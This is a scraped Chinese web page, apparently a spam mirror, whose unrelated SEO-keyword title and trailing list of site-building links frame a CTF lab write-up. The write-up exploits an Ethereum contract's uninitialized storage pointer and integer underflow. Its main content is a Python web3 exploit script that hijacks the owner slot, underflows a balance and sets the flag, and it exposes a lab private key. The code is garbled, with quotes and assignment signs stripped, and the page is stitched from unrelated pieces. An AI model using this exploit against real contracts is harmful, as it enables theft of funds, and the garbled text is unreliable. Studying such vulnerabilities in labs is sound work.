当前位置: 首页 > news >正文

平面设计专业就业前景seo推广怎么做视频教程

平面设计专业就业前景,seo推广怎么做视频教程,建设银行网站特点,泰安百姓网系列文章目录 文章目录 系列文章目录未初始化的存储指针实战二实验目的实验环境实验工具实验原理实验内容实验过程EXP利用 未初始化的存储指针实战二 实验目的 学会使用python3的web3模块 学会分析以太坊智能合约未初始化的存储指针漏洞 找到合约漏洞进行分析并形成利用 实验…系列文章目录 文章目录 系列文章目录未初始化的存储指针实战二实验目的实验环境实验工具实验原理实验内容实验过程EXP利用 未初始化的存储指针实战二 实验目的 学会使用python3的web3模块 学会分析以太坊智能合约未初始化的存储指针漏洞 找到合约漏洞进行分析并形成利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 在solidity语言中像动态的数组、struct、mapping这样的复杂数据结构是不能直接在”栈”里面保存的因为”栈”里只能保存单独的”字”也就是只能保存实际数据长度小于等于32字节的简单数据类型。所以在solidity智能合约函数中声明动态数组和struct时必须明确指明其位置在storage还是memory中。 函数内声明的struct若未初始化若对其赋值则会按照Solidity存储规则从slot 0开始存储覆盖之前slot位置的变量造成不可预想的控制流劫持。 实验内容 合约中内置了未初始化的存储指针和整数溢出问题找到合约漏洞并形成利用把合约中的flag变量设置为true即可 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10008 实验过程 获取合约地址和合约源代码 nc ip 10008连接到题目输入1获取部署合约的game account及token 打开http://ip输入上述分配的game account点击Request获取eth nc ip 10008连接到题目输入2获取部署合约的地址及new token nc ip 10008连接到题目输入4获取合约源代码或者在题目附件找到合约源代码 分析合约源代码漏洞 题目要求将合约中的flag变量设置为true 分析代码逻辑需要满足balanceOf[msg.sender] 10000000但是并未有可以增加balanceOf[msg.sender]的代码 漏洞在ubw函数中函数中的第二个分支不存在初始化n在执行的时候会形成未初始化漏洞那么只要我们进入第二个分支就会修改storage中的第一个值为我们的地址第二个值为2 第一个值为secret 因此通过未初始化漏洞我们可以执行onlySecret修饰的 fate函数fate函数中存在整数溢出漏洞 通过整数溢出我们可以获得大量余额然后payforflag即可将flag设置为true EXP利用 用python编写自动化exp将下述contract_address替换成自己的题目合约地址即可总共包括三个步骤一是调用题目合约ubw()函数并转账3 wei这样就会进入到else分支将slot 0位置的secret覆盖成msg.sender就可以满足onlySecret二是调用题目合约fate(0,1)函数因为balanceOf[msg.sender]0此时0-1会产生整数下溢满足require的条件三是调用题目合约payforflag()函数因为此时balanceOf[msg.sender]由于整数下溢漏洞已经变成一个很大的数满足10000000的要求可将flag设置为true from web3 import Web3, HTTPProvider from solcx import compile_source,set_solc_version_pragma import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0x2880bF5Afe97F3bF983598E135474D743AC366C3 private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptset_solc_version_pragma(^0.4.23)# call ubw() in ETH8 with 3 wei data Web3.keccak(textubw()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 3e-18) txn_receipt sign_and_send(txn) if(txn_receipt[status]1):print(call ubw() success)time.sleep(5)# call fate(0,1) in ETH8 data Web3.keccak(textfate(address,uint256)).hex()[:10] data 0*64 data 1.rjust(64, 0) txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) # print(txn_receipt) if(txn_receipt[status]1):print(call fate(0,1) success)time.sleep(5)# call payforflag() in ETH8 data Web3.keccak(textpayforflag()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) # print(txn_receipt) if(txn_receipt[status]1):print(call payforflag() success)执行exp nc ip 10008连接到题目输入3输入之前的new token获取flag
http://www.hkea.cn/news/14282009/

相关文章:

  • 湛江网站开发网站单页在线制作
  • 哪里有做杂志的免费模板下载网站化妆品购物网站建设目的
  • 昆山智能网站开发上市公司查询网站
  • 广州营销型网站建设培训中国新闻社是什么编制
  • 江苏建站服务织梦免费自适应网站模板
  • 阿里巴巴网站图片怎么做的优质ppt模板免费下载
  • 启航网站管理系统六盘水seo
  • seo 网站title互联网下的网络营销
  • 网站制作网站开发公司行政负责做网站吗
  • wordpress 移动站drupal wordpress joomla
  • 网站开发和前端和数据媒体河北综合网站建设系列
  • 做ppt音乐模板下载网站做网站首页的软件
  • 学校网站登录入口网站开发职能
  • 网站建设题库搜索引擎优化seo优惠
  • 中国建设银行行网站采购与招标网
  • 龙信建设集团网站成都网站asp access源码购买修改
  • 口碑好的网站开发苏州网站维护
  • 网站维护html模板微信加精准客源软件
  • 网站后台ftp在哪开源crm
  • 南通网站定制方案公司取名网免费版
  • wordpress悬浮窗插件网站优化设计方案
  • 嘉兴企业网站开发高档网站建设公司
  • 宁波好品质品牌网站设计哪家好电脑微信公众号登录入口
  • 辽源网站建设设计h5网站开发培训哪里好
  • 怎么注册微网站吗虚拟主机评测
  • 机械设备网站建设福州阳楠科技网站建设有限公司
  • 做国际网站每年要多少钱网页视频提取软件
  • 好买卖做网站阿里云卸载wordpress
  • 做一个电商网站多少钱中展建设股份有限公司网站
  • 求个网站20213d建模软件有哪些